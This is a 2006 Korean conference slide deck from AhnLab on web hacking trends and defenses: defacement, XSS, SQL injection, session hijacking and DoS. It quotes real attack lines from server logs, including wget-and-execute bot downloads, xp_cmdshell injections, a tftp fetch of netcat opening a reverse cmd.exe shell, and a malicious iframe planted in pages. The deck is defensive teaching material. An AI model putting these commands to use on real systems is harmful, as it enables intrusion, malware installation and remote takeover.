Microsoft PowerPoint - 정관진_PPT_final.ppt

Similar documents
제목 레이아웃

< FC8A8C6E4C0CCC1F620B0B3B9DF20BAB8BEC8B0A1C0CCB5E5C3D6C1BE28C0FAC0DBB1C7BBE8C1A6292E687770>

Oracle hacking 작성자 : 임동현 작성일 2008 년 10 월 11 일 ~ 2008 년 10 월 19 일 신규작성 작성내용

Secure Programming Lecture1 : Introduction

Observational Determinism for Concurrent Program Security

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

** 5 개이발생한주요소프트웨어별취약점세 EDB 번호취약점종류공격난이도공격위험도취약점이름소프트웨어이름

PowerPoint 프레젠테이션

PowerPoint Template

untitled

UDP Flooding Attack 공격과 방어

Microsoft Word - SKINFOSEC-CHR-026- Mass SQL Injection 탐지 우회분석 보고서.doc

슬라이드 1

PowerPoint 프레젠테이션

ÀÎÅÍ³Ý ÁøÈï¿ø 5¿ù

PowerPoint 프레젠테이션

AhnLab_template

SKINFOSEC-CHR-028-ASP Mssql Cookie Sql Injection Tool 분석 보고서.doc

untitled

Intro to Servlet, EJB, JSP, WS

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자

TTA Journal No.157_서체변경.indd

EDB 분석보고서 (04.06) ~ Exploit-DB( 에공개된별로분류한정보입니다. Directory Traversal users-x.php 4.0 -support-x.php 4.0 time-

J2EE & Web Services iSeminar

Research & Technique Apache Tomcat RCE 취약점 (CVE ) 취약점개요 지난 4월 15일전세계적으로가장많이사용되는웹애플리케이션서버인 Apache Tomcat에서 RCE 취약점이공개되었다. CVE 취약점은 W

Windows 8에서 BioStar 1 설치하기

WEB Hacking 한국디지털미디어고등학교, T eampur e, JT JSOFT 장태 진

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

< F33BFF920C0CEC5CDB3DD20C4A7C7D8BBE7B0ED20B5BFC7E220B9D720BAD0BCAEBFF9BAB828C3D6C1BEBABB292E687770>


2006_8_14 (8_17 updated) ms ¿ú(wgareg.exe) ºÐ¼® º¸°í¼�.hwp

<5BB5BFB8EDB4EB2D E4B5D C0A5BDA9C0C720BAD0BCAEB0FA20B4EBC0C020B9E6BEC82E687770>

WebKnight를 활용한 IIS 웹서버 보안

Portal_9iAS.ppt [읽기 전용]

DBMS & SQL Server Installation Database Laboratory

네트워크 안정성을 지켜줄 최고의 기술과 성능 TrusGuard는 국내 최초의 통합보안솔루션으로서 지난 5년간 약 4천여 고객 사이트에 구축 운영되면서 기술의 안정성과 성능면에서 철저한 시장 검증을 거쳤습니다. 또한 TrusGuard는 단독 기능 또는 복합 기능 구동 시

[Brochure] KOR_TunA

XSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks

<4D F736F F F696E74202D20B5A5C0CCC5CDBAA3C0CCBDBA5F3130C1D6C2F75F31C2F7BDC32E >

1. Windows 설치 (Client 설치 ) 원하는위치에다운받은발송클라이언트압축파일을해제합니다. Step 2. /conf/config.xml 파일수정 conf 폴더에서 config.xml 파일을텍스트에디터를이용하여 Open 합니다. config.xml 파일에서, 아

Eclipse 와 Firefox 를이용한 Javascript 개발 발표자 : 문경대 11 년 10 월 26 일수요일

게시판 스팸 실시간 차단 시스템

Interstage5 SOAP서비스 설정 가이드

본문서는 초급자들을 대상으로 최대한 쉽게 작성하였습니다. 본문서에서는 설치방법만 기술했으며 자세한 설정방법은 검색을 통하시기 바랍니다. 1. 설치개요 워드프레스는 블로그 형태의 홈페이지를 빠르게 만들수 있게 해 주는 프로그램입니다. 다양한 기능을 하는 플러그인과 디자인

초보자를 위한 ASP.NET 2.0

untitled

인터넷 비즈니스의 필수 요소, 트랜잭션 시큐리티 서비스 인터넷 비즈니스는 기업 영리 활동에 있어서 부가적인 서비스가 아닌 사업을 영위해 가는데 중요한 역할을 하고 있습니다. 특히, 인터넷 쇼핑몰, 인터 넷 뱅킹, 사이버 트레이딩, 전자정부서비스, 온라인 게임, 인터넷

PowerPoint Presentation

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

국외출장복명서 - OWASP & WASC AppSec 2007 참석 IT 기반보호단 / IT 기반기획팀

uFOCS

*2008년1월호진짜

구축환경 OS : Windows 7 그외 OS 의경우교재 p26-40 참조 Windows 의다른버전은조금다르게나타날수있음 Browser : Google Chrome 다른브라우저를사용해도별차이없으나추후수업의모든과정은크롬사용 한

5th-KOR-SANGFOR NGAF(CC)

0. 들어가기 전

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

bn2019_2

2009년 상반기 사업계획

PowerPoint 프레젠테이션

이도경, 최덕재 Dokyeong Lee, Deokjai Choi 1. 서론

BEA_WebLogic.hwp

Microsoft Word - CrossSiteScripting[XSS].docx

FileMaker 15 WebDirect 설명서

< FBBE7B0EDB3EBC6AE5FB5F0C6FAC6AEC6D0BDBABFF6B5E5C3EBBEE0C1A128BCF6C1A4292E687770>

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

The Pocket Guide to TCP/IP Sockets: C Version

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

#WI DNS DDoS 공격악성코드분석

MySQL-.. 1

< FBFF9B0A320BEC7BCBAC4DAB5E520C0BAB4D0BBE7C0CCC6AE20C5BDC1F620B5BFC7E220BAB8B0EDBCAD283131BFF E302028C8A8C6E4C0CCC1F620BEF7B

PowerPoint Presentation

최종_백서 표지

EDB 분석보고서 (04.03) ~ Exploit-DB( 에공개된별로분류한정보입니다. ** 5개이상발생한주요소프트웨어별상세 EDB 번호 종류 공격난이도 공격위험도 이름 소프트웨어이름 3037 SQL Inj

untitled

PowerPoint Presentation

No Slide Title

Model Investor MANDO Portal Site People Customer BIS Supplier C R M PLM ERP MES HRIS S C M KMS Web -Based

문서 템플릿

Microsoft Word - src.doc

10.ppt

Network seminar.key

Microsoft PowerPoint - 10Àå.ppt

Chap7.PDF

PowerPoint 프레젠테이션

untitled

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

메일서버등록제(SPF) 인증기능적용안내서 (HP-UX - qmail) OS Mail Server SPF 적용모듈 (Perl 기반) 작성기준 HP-UX 11.11i qmail 1.03 spf-filter 년 6 월

MySQL-Ch05

<BBE7B0EDB3EBC6AE5FC7E3BAEAB0D4C0D32E687770>

EDB 분석보고서 (0.0) 0.0.0~0.0. Exploit-DB( 에공개된별로분류한정보입니다. 날짜 EDB 번호분류공격난이도공격위험도이름핵심공격코드대상프로그램대상환경 SQL Injection 중상 Absolu

PowerPoint 프레젠테이션

PCServerMgmt7

untitled

untitled

쉽게 풀어쓴 C 프로그래밊

ìœ€íŁ´IP( _0219).xlsx

웹서버보안취약점대응및조치 교육사이버안전센터

메일서버등록제(SPF) 인증기능적용안내서 (AIX - sendmail) OS Mail Server SPF 적용모듈 (Perl 기반) 작성기준 AIX 5.3 sendmail spf-filter 년 6 월

제목을 입력하세요.

< 목차 > 1. 악성코드은닉동향요약 1 2. 홈페이지은닉형악성코드통계 2 - 유포지탐지 국가별현황 2 - 대량경유지가탐지된유포지 TOP 악성코드유형별비율 4 - 악성코드취약점유형별비율 4 - 악성코드수집및분석결과 5 - 경유지탐지 업종별비율 9 3. 악성코

Transcription:

제 7 회한국자바개발자컨퍼런스 Java Way : Communication and Participation 웹해킹 (Web Hacking) 의현황과대처방안 정관진안철수연구소 intexp@ahnlab.com 2006년 2월 25일 2006 JavaCommunity.Org All Rights Reserved. 1

Overview 웹해킹무엇이문제인가? 웹환경의다양한위협요소 시큐리티트랜드의변화그리고최근의웹해킹 웹해킹의위협사례소개 홈페이지변조 취약점을이용한해킹 악성코드의위협 웹해킹의주요기술과대처 웹애플리케이션의주요취약점과공격기법 웹해킹의각주요기법소개 웹서버의보안대책 안전한웹서비스환경의구현 2

웹운영의기본요소 하드웨어 소프트웨어 관리 보안 비용 외부의수많은 위협으로부터 안전한가? 내용 3

웹운영환경의다양한위협 다양한웹공격으로부터노출 - 홈페이지변조 - 서비스거부공격 (Denial of Service) - 버퍼오버플로우 - 파일삭제 - 트로이목마, 웜과같은악성코드 - XSS, SQL Injection 웹사이트와웹애플리케이션의빠른증가추세 미들웨어, 데이터베이스등웹운영환경이더욱복잡, 다양해지고있음 비즈니스및많은산업군의웹에대한의존도증가 웹사이트증가만큼위협범위는더욱넓어질수있다. 해커들의공격대상으로웹 (Web) 이주요타깃 4

시큐리티트랜드의변화 IT 인프라변화를최대한활용 지속적인공격기법의발달 공격도구의지능화 5

웹해킹의현실 CSI/FBI 2005 Computer Crime and Security Survey - 258 명의응답자중 95% 가 10 번이상의웹관련보안사고를겪음 - 10 회이내는전체의 5% 공격의 80% 이상 80 번포트 를대상으로이뤄지고있다. 6

왜웹해킹이증가하는가? 일반적으로방화벽에서 80, 443 번포트는허용된다. 즉, 다른포트번호가차단되었다하더라도이포트번호는외부에서는유효하다. HTTP 프로토콜은가장범용적으로사용되는프로토콜중의하나이다. 많은지식을필요로하지않으며 URL 상의간단한조작및유추등으로도가능하다. 많은도구를필요로하지않는다. 즉, 웹브라우저하나만으로도가능하게한다. 그렇다면방화벽과같은보안장치가모든보안수준을만족시켜주는가? URL Web Client X X X 다른포트의접속은차단 방화벽 정책 웹서비스를위한 80, 443 번오픈 제 7회한국자바개발자컨퍼런스 - Java Way : 7 Web Server Apache IIS Netscape 응용프로그램 응용프로그램 응용프로그램 JSP,ASP Perl C,C++ MSSQL Oracle MySQL DB

웹서비스의다양한위협 웹을통해어떠한위협들이존재하는가? Attacker 외부 Spoofing Brute Force DoS, DDoS Scanning 악성코드 X X X 다른포트의접속은차단 방화벽 정책 웹서비스를위한 80, 443 번오픈 Sniffing 내부 Web Server Buffer Overflow Session Hijacking Directory Traversal Fingerprinting 응용프로그램 응용프로그램 응용프로그램 DB XSS Buffer Overflow 입력체크오류 SQL Injection Injection Flaw 8

보안취약점현황 지속적으로취약점보고건수는증가하고있으며 NVD 경우는 2004 년에서 2005 년그수치가 96% 만큼증가하였다. 이러한주된증가에웹애플리케이션에대한취약점이증대되었기때문이다. 2005 2004 2003 2002 2001 CERT/CC 5,990 3,780 3,784 4,129 2,437 NVD 4,584 2,340 1,248 1,943 1,672 OSVDB 7,187 4,629 2,632 2,184 1,656 Symantec 3,766 2,691 2,676 2,604 1,472 * Computer Emergency Response Team Coordination Center(CERT/CC) National Vulnerability Database Open-Source Vulnerability Database 9

위협사례소개 10

2004 년 12 월 2004 년 11 월 홈페이지변조 웹사이트증가와함께홈페이지변조해킹증가 해킹의주된이유와공격방법은무엇인가? 30000 25000 20000 15000 10000 Heh...just for fun! Revenge against that website Political reasons As a challenge I want to be the best defacer Patriotism 5000 0 Attack technical details 2002-2004 2002 년 7 월 2002 년 9 월 2002 년 11 월 2003 년 1 월 2003 년 3 월 2003 년 5 월 2003 년 7 월 2003 년 9 월 2003 년 11 월 2004 년 1 월 2004 년 3 월 2004 년 5 월 2004 년 7 월 2004 년 9 월 2004 년 11 월 40000 35000 30000 25000 20000 15000 10000 5000 0 2002 년 7 월 2002 년 8 월 2002 년 9 월 2002 년 10 월 2002 년 11 월 2002 년 12 월 2003 년 1 월 2003 년 2 월 2003 년 3 월 2003 년 4 월 2003 년 5 월 2003 년 6 월 2003 년 7 월 2003 년 8 월 2003 년 9 월 2003 년 10 월 2003 년 11 월 2003 년 12 월 2004 년 1 월 2004 년 2 월 2004 년 3 월 2004 년 4 월 2004 년 5 월 2004 년 6 월 2004 년 7 월 2004 년 8 월 2004 년 9 월 2004 년 10 월 출처 : www.zone-h.org 11 known vulnerability (unpatched system) undisclosed (new) vulnerability configuration administration mistake brute force attack social engineering

홈페이지변조사례 #1 이라크전쟁당시홈페이지변조급증 전쟁에반대하는정치적인형태의해킹 해킹대상은취약한웹서버를대상으로이루어짐 ( 누구나공격의대상이될수있었음 ) 12

홈페이지변조사례 #2 웹사이트변조는대량으로일어나고있음 왜이러한변조가지속적으로반복되고있을까? 13

제로보드 (ZeroBoard) 의취약점악용 많이사용되고있는소프트웨어의취약점을악용 공격여부의확인 [05/Mar/2005:14:48:27 +0900] "GET /www.victim.co.kr/bbs//include/write.php? dir=http://www.derf.hpgvip.com.br/newcmd.gif? &cmd=id;cd%20/tmp;get%20www.derf.hpgvip.com.br/derfbd%20>%20derfbd; chmod%204777%20derfbd;./derfbd HTTP/1.1" 200 2164 [23/Feb/2005:18:24:45 +0900] "GET /victim.net/solarpia.php?page=http://67.18.54.212/~greg/cmd.txt&cmd= wget%20frag.pro.br/deadcow/i%20-o%20/var/tmp/.i;perl%20/var/tmp/.i HTTP/1.0" 302 412 [23/Feb/2005:18:24:45 +0900] "GET /victim.net/solarpia.php?page=http://67.18.54.212/~greg/cmd.txt&cmd= wget%20frag.pro.br/deadcow/bot%20- O%20/var/tmp/.bset;perl%20/var/tmp/.bset;touch%20/var/tmp/.bst HTTP/1.0" 302 446 14

Web Shell: 여러분의시스템을통제한다! 웹쉘을이용하여공격자는원하는명령어수행이가능하다. 다양한웹쉘이존재 -ASP, JSP, PHP - 특히중국해커들에개발된웹쉘의종류가많음 15

로그파일이수상하다 악의적명령을수행한웹로그어떠한부분에이상한점이존재하나? [Sat Oct 22 10:16:49 2005] [error] [client 200.150.69.XX] request failed: erroneous characters after protocol string: GET /write.php?dir=http://www.angelfire.com/psy/hdr0x/zepplin/cmd.txt?&cmd=iduname -a;id HTTP/1.0 [Thu Dec 29 16:36:03 2005] [error] [client 168.75.27.XX] request failed: erroneous characters after protocol string: GET /mambo/index2.php?_request[option]=com_content&_request[itemid]=1&globals=&mosconfig_absolute_path=http://2 09.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo HTTP\x01.1 [Thu Dec 29 16:36:04 2005] [error] [client 168.75.27.XX] request failed: erroneous characters after protocol string: GET /cvs/index2.php?_request[option]=com_content&_request[itemid]=1&globals=&mosconfig_absolute_path=http://209.1 36.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo HTTP\x01.1 [Thu Dec 29 16:36:05 2005] [error] [client 168.75.27.XX] request failed: erroneous characters after protocol string: GET /cvs/mambo/index2.php?_request[option]=com_content&_request[itemid]=1&globals=&mosconfig_absolute_path=http ://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo HTTP\x01.1 SQL Injection 공격 61.73.XX.93 - - [26/Aug/2005:11:49:01 +0900] "GET /tools/ctss.idc?ds=localserver&user=sa&pwd=&table=ngt(ng%20int);exec+master..xp_cmdshell(\"cmd.exe+/c%20dir\");-- HTTP/1.0" 404 569 61.73.XX.93 - - [26/Aug/2005:11:49:01 +0900] "GET /cgi- bin/tools/ctss.idc?ds=localserver&user=sa&pwd=&table=ngt(ng%20int);exec+master..xp_cmdshell(\"cmd.exe+/c%20dir\");-- HTTP/1.0" 404 569 16

IFRAME 과취약점의이용 여러분의웹페이지는안전한가? 아니면단순히안전하다고생각하는가? 어떤이유로 [ 초기인코딩된데이터 ] 17 [ 일부를해독한화면 ]

취약점을이용한악성코드의위협 XML-RPC 취약점을통해전파되는웜 POST 형식으로 xml-rpc 를사용하는.php 를통해 injection 한다. <?xml version="1.0"?><methodcall><methodname>test.method</methodname><params><param><value><name> ',''));echo '_begin_';echo `cd /tmp; //' 를이용한코드끼워넣기후 /tmp 디렉토리로이동 wget 62.101.xxx.xxx/lupii; // wget으로특정사이트의 lupii 파일다운로드 chmod +x lupii; // 실행으로변경./lupii 62.101.xxx.xxx // 웜실행 `;echo '_end_';exit;/*</name></value></param></params></methodcall> [ 웹서버로그 ] 62.23.xx.67 - - [17/Jan/2006:18:37:54 +0900] "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 404 569 62.23.xx.67 - - [17/Jan/2006:18:37:55 +0900] "POST /drupal/xmlrpc.php HTTP/1.1" 404 569 62.23.xx.67 - - [17/Jan/2006:18:37:57 +0900] "POST /phpgroupware/xmlrpc.php HTTP/1.1" 404 569 코드레드 (CodeRed) 공격에기록되는로그 172.170.82.20 - - [30/Jul/2004:17:32:34-0500] "GET /default.ida?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u000 3%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 281 "-" "- Slapper 웜 [Sat Sep 14 18:10:00 2002] [error] [client XX.XX.XX.XX] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): / [Sat Sep 14 18:10:16 2002] [error] mod_ssl: SSL handshake failed (server XX.XX.XX.XX:443, client XX.XX.XX.XX) (OpenSSL library error follows) [Sat Sep 14 18:10:16 2002] [error] OpenSSL: error:1406b458:lib(20):func(107):reason(1112) 18

웹해킹공격도구 WED(Web Entry Detector) WIS(Web Injection Scanner) 19

웹해킹의주요기술과대처 20

웹애플리케이션주요취약점 OWASP 에서발표한웹의주요Top 10 ⑴ 입력값검증부재 (Unvalidated Input) ⑵ 취약한접근통제 (Broken Access Control) ⑶ 취약한인증및세션관리 (Broken Authentication and Session Management) ⑷ XSS(Cross Site Scripting) 취약점 ⑸ 버퍼오버플로우 (Buffer Overflows) ⑹ 삽입취약점 (Injection Flaws) ⑺ 부적절한에러처리 (Improper Error Handling) ⑻ 취약한정보저장방식 (Insecure Storage) ⑼ 서비스방해공격 (Denial of Service) ⑽ 부적절한환경설정 (Insecure Configuration Management) 21

주요웹해킹테크닉 Web Fingerprinting 잘못된설정의이용 URL 조작 디렉토리, 소스코드, HTML 정보노출 입력체크 웹파일이외의파일다운로드및추측 Buffer Overflow Session Hijacking ( 쿠키조작 ) Cross Site Scripting SQL Injection 22

About Attackers 공격자의동기 - 단순재미 - 영웅심리 - 금전적목적 공격자는사전에무엇을먼저준비할것인가? - 공격대상의정보획득 - 취약점검토 공격도구의준비 - 인터넷연결환경 - 웹브라우저 - 필요에따라고급도구 내가만일해커라면 23

Web Fingerprinting 아무정보도없이시작할것인가? 공격대상의선정과정보획득 - Port Scanner( nmap, fscan, etc..) nmap -p 80,81,443,8000,8080 10.0.0.1 - 웹서버소프트웨어파악 nc 192.168.1.1 80; HEAD / HTTP/1.0 -Netcat -Whois - Vulnerability Checking 구글해킹 (Google Hacking) - 보안권고문, 운영소프트웨어및응용프로그램의취약점검색 - 많은정보가포함된에러메시지 - 숨겨진디렉토리 - 파이어월, 웹서버로그등이포함된페이지 - 패스워드가포함되어있는파일 - inurl, site 등의고급검색어활용 24

잘못된설정의이용 부적절한패스워드사용및기본계정사용 admin/admin, manager/manger, system/system, admin/djemals, root/root 관리자 / 개인용페이지접근제한노출 검색엔진을통해 3 분여동안찾을수있었던사이트는? /admin, /manage, 관리자, 관리자모드등의단순검색어이용 25

디렉토리, 소스코드, HTML 정보노출 소프트웨어취약점으로인한소스코드노출 -WebLogic/WebSphere JSP 버그로인하여 JSP/JHTML 파일의소스코드보는것이가능 (URL 상에서 JSP 대문자를사용하면소스코드볼수있었음 ) - 아파치톰캣 3.2.3-4 사이의버전에서소스노출 http://example.com:80/examples/jsp/source.jsp?? http://example.com:80/examples/jsp/source.jsp?/jsp/ - HTTP/1.0 or HTTP/1.1 없이 GET 요청시소스노출 ( 톰캣 4.0-b1) - 특정경로에서소스코드노출 /servlet/file/ (IBM WebSphere) /file/ (BEA WebLogic) /*.shtml/ (BEA WebLogic) /ConsoleHelp/ (BEA WebLogic) /servlet/com.sun.server.http.servlet.fileservlet/ (Sun JavaWebServer) 웹서버의설정잘못으로인한디렉토리노출 - 뜻하지않게중요파일및소스코드노출 HTML 안에기록되어있는정보활용 - 웹개발시입력한 Comment 활용 26

입력값검증 (Input Validation) 다음의입력값검증 데이터타입 (string, integer, real, etc ) 허용하는문자최소, 최대문자열길이널 (Null) 허용유무파라미터가필요유무중복을허용하는가숫자의범위특정패턴 ( 정규표현식 ) 위험한 HTML 태그들 <APPLET>,<BODY>,<EMBED>,<FRAME> <FRAMESET>,<HTML>,<IFRAME>,<IMG> <LAYER>,<ILAYER>,<META>,<OBJECT> <SCRIPT>,<STYLE> 특수문자! @ $ % ^ & * ( ) -_ + ` ~ \ [ ] { } ; : ' "? /,. > < 클라이언트의입력을신뢰하지마라 J2EE 플랫폼의경우 OWASP 에서배포하는 J2EE HTTP Validation Engine 이있음 http://www.owasp.org/software/validation/stinger.html 아파치웹서버의경우 modsecurity 의모듈이용 27

버퍼오버플로우 (Buffer Overflow) 버퍼오버플로우위협 - 웹서버소프트웨어 - 웹애플리케이션 - 미들웨어 - 데이터베이스 - 브라우저 버퍼오버플로우예방 - Secure Programming 고려 Boundary Check - 웹서버의경우 / 요청제한 - LimitRequestBody 10240 - LimitRequestFields 40 - LimitRequestFieldsize 100 - LimitRequestLine 500 - mod_parmguard 해커로부터입력되는데이터의필터를통하여스크립트를보호 http://www.trickytools.com/php/mod_parmguard.php - 이외 StackGuard 등운영체제별보호체계 28

Session Hijacking HTTP 는 Stateless 프로토콜이다. 많은웹애플리케이션은 stateful 형식이다. 세션 ID 는보안상취약한메커니즘을가지고있다. - Hidden Field 에의해 Session ID 전달 <input type="hidden" name="useraccount" value= 673-12745 > - 클라이언트사이드의쿠키 - URL Stored Session ID http://www.victim.com/en/index.jhtml;jsessionid=hymjk3pjus J4CCQCQBJCGWQKAKAFUIV0?_requestid=21122 취약한세션관리에대한대처방법 - 사용자쿠키정보암호화 (SSL) - 세션에대한 Timeout 설정 - 인증후에도중요정보수정, 입력은재인증을거치는프로세스 - Server Side Session 의사용 29

Session Hijacking Attack Hijacking Session 의주요공격방법 - 무작위입력, 유추 - 계산된공식에의해세션 ID 유추 - 가로채기 무작위 Session ID 유추를통한접근 http://www.victim.com/view/ad30725122116211 http://www.victim.com/view/ad30725122118909 http://www.victim.com/view/ad30725122120803 또는자동화된도구의활용 30

XSS(Cross Site Scripting) Cross Site Scripting 이란? XSS 는웹애플리케이션에서입력되는데이터를적절하게검사하지않아클라이언트의스크립트나 HTML 태그의사용이가능하게되는데이것은의도적으로악의적인형태의공격으로까지이어질수있다. XSS 용어의혼돈고정된 HTML 을자유롭게쓰게해주는 CSS(Cascading Style Sheets) 와혼동되어사용될수있기때문에 XSS 라고많이불리고있다. CSS : Cascading Style Sheet XSS : Cross Site Scripting Cross Site Scripting 이라는이름에서도알수있듯이다양한플랫폼에걸쳐사용이가능 XSS 는많은웹애플리케이션에그문제가존재하고있으며, 버퍼오버플로우 (Buffer Overflow) 와같이직접적으로시스템의권한을획득하는것은아니지만간접적또는다양한형태로악용될우려가높다. 공격자는 HTML, JavaScript, VBScript, ActiveX 또는 Flash를이용하여취약한웹애플리케이션을통한사용자정보의수집, 사용자계정의탈취, 정보의변경, 쿠키정보획득 / 변조, 부정확한정보제공등악용가능한범위가넓다. 31

XSS 취약점존재유무체크 XSS 취약점존재여부체크 - HTML 입력폼또는 URL 상에스크립트를입력 입력폼에 <script>alert( hello )</script>, <script>alert(document.cookie)</script> 사용또는 http://www.domain.com/user.php?op=userinfo&uname=<script>alert(document.cookie); </script> 와같이 URL 직접입력 http://www.victim.com/jse/jsp/search.jsp?q= <script>alert('is your site vulnerable?')</script> XSS 의방지 - Secure Development Input validation 특정캐릭터필터 - Intrusion Prevention mod security (www.modsecurity.org) - 사용자의인지 32

XSS 를이용한 웜 소개 2005 년 10 월 4 일 XSS 를이용한첫웜사례보고 ( Samy ) - CSS(Cascading Style Sheet) 태그안에서자바스크립트사용가능한것을발견 - Myspace.com 의백만명이넘는사람들이본인의의지와는상관없이친구추가요청 - 사이트는일시적서비스장애겪음, DoS 가능성을보여주었음 시간 10월04일 12:34 PM 10월04일 01:30 AM 10월04일 08:35 AM 10월04일 09:30 AM 10월04일 10:30 AM 10월04일 01:30 PM 10월04일 06:20 PM 친구수 73 73 74 74 518 2503 2503 친구등록요청자 0 1 221 480 561 6,373 917,084 경과시간 1시간 8시간 9시간 10시간 13시간 18시간 비고 3 초후 918,268 이후다시 3 초후 919,664. 몇분후 1,005,831 명까지도달 33

SQL Injection SQL Injection 이란? - 입력되는데이터의적절한확인없이전달되는데이터를데이터베이스에서명령어로처리하는것 공격자는다음과같이악용가능 - SELECT, INSERT, DELETE 그리고 DROP TABLE 과같은 SQL 명령어수행가능 - 확장프로시저를통한임의의명령어수행가능 다음의의미는무엇일까? <form method="post" action= admin_login.php"> <input type="text" name= username"> <input type="password" name="password"> </form> "SELECT id FROM logins [ 위구문은이와같은 SQL 쿼리를요청 ] WHERE username = '$username' AND password = '$password'"; "SELECT id [ 패스워드입력구문에 OR x = x 와같이입력하여 FROM logins 인증을우회 ] WHERE username = 'Joe' AND password = 'anything' OR 'x'='x'"; 34

SQL Injection 공격의예 - http://www.none.to/script?0';exec+master..xp_cmdshell(cmd.exe+/c) - http://victim/url.asp?id=1;exec master..xp_cmdshell net user name password /add -- - http://victim/url.asp?id=1;exec master..xp_cmdshell echo <ifrmae src=http://www.target.com/icyfox.htm width= 0 height= 0 ></iframe> >> c:\inetpub\www\index.html ; 대책 - DB 쿼리에변수로사용되는모든인자에대한검증 - URL 인자값에 SQL 명령어금지 - 불필요한에러메시지제거 - 세미콜론, 더블데쉬 (--) 제거 -, <,>,;, -- 등의문자가변수에존재하지않도록체크 - 불필요한 Stored Procedure 제거 xp_cmdshell, xp_dirtree, xp_regdeletekey, xp_regwrite, sp_adduser... - DB 권한축소 35

다양한 SQL Injection 공격 http://www3.example.com/product.asp?id=5%01exec+master..xp_cmdshell+ 'copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\' GET /theasppage.asp?anid=377';exec MASTER..xp_cmdshell 'mkdir %systemroot% system32 Macromed lolx '; exec MASTER..xp_cmdshell 'echo open z.z.z.z 21 >> %systemroot% system32 Macromed lolx blah.jkd'; exec MASTER..xp_cmdshell 'echo USER chadicka r0ckpaul >> %systemroot% system32 macromed lolx blah.jkd'; exec MASTER..xp_cmdshell 'echo binary >> %systemroot% system32 macromed lolx blah.jkd'; exec MASTER..xp_cmdshell 'echo get lol.exe %systemroot% system32 Macromed lolx arcdlrde.exe >> %systemroot% system32 Macromed lolx blah.jkd'; exec MASTER..xp_cmdshell 'echo quit >> %systemroot% system32 Macromed lolx blah.jkd'; exec MASTER..xp_cmdshell 'ftp.exe -i -n -v -s:%systemroot% system32 Macromed lolx blah.jkd'; exec MASTER..xp_cmdshell 'del %systemroot% system32 Macromed lolx blah.jkd'; exec MASTER..xp_cmdshell '%systemroot% system32 Macromed lolx arcdlrde.exe'-- http://server/showtable.asp?id=3%01exec+master..xp_cmdshell+ tftp+-i+10.0.0.13+get+nc.exe+%26%26+nc+-e+cmd.exe+10.0.0.11+2000 36

SQL Injection 도구 사용하기쉬운 GUI 방식의 SQL Injection 도구들존재 중국에서제작된도구가많음 37

서비스거부공격 (DoS) 서비스거부공격은웹서비스운영에큰위협 - DoS(Denial of Service) - DDoS, DRDoS 2000 년 2 월 Buy.com, ebay, CNN, Yahoo, Amazon 대형사이트 DDoS 공격 웜, 트로이목마를이용한특정사이트공격형태가나타남. 이러한트로이목마들은향후분산서비스거부공격등에이용될확률이높음 뚜렷한해결방법이존재하지않음 대처방법 - 웹서버성능관련지시어조절 - 대역폭관리모듈사용 -mod_bandwidth - mod_throttle - 웹서버앞단에서의조절 ( 라우터, 방화벽 ) - 방화벽의대역폭조절및자체적인 DoS 솔루션 - 시스코사의 CAR(Committed Access Rate), QoS 38

악성코드와웹환경 악성코드가웹서비스영역으로까지확대되며다양한방법을이용 - 웹서버소프트웨어나주요기능의취약점을이용하여확산 - 웹페이지에 IFRAME 태그등을삽입 -XSS 웜발견 악성코드사례 - OpenSSL 취약점을이용한아파치웜 Slapper - Microsoft IIS 취약점을이용한 CodeRed, Nimda - PHP-XMLRPC 취약점이용한웜 - phpbb 2.0.10 이하버전의취약점을이용한 PERL/Santy 웜 - XSS 취약점이용하여 myspace.com 에서전파 (samy worm) 왜악성코드가웹환경을이용하고있는가? 39

중국발웹해킹증가 IFRAME 태그를이용하여웹페이지에삽입하는해킹증가 사이트를방문하는것만으로도쉽게감염되어최근웹해킹의주요공격방법으로사용되고있음 최근에는 MS06-001(WMF) 의취약점을이용한공격증가 금전적이득을노림 [ 웹서버에삽입되어있는내용 ] <iframe height=0 width=0 src="http://wyd.gamefor.com/job/index.htm"></iframe> <OBJECT Width=0 Height=0 style="display:none;" type="text/x-scriptlet data="mk:@msitstore:mhtml:c:\.mht!htt_://wyd.gamefor.c om/job/help.txt: :/%23%2E%68%74m"></OBJECT>... 40

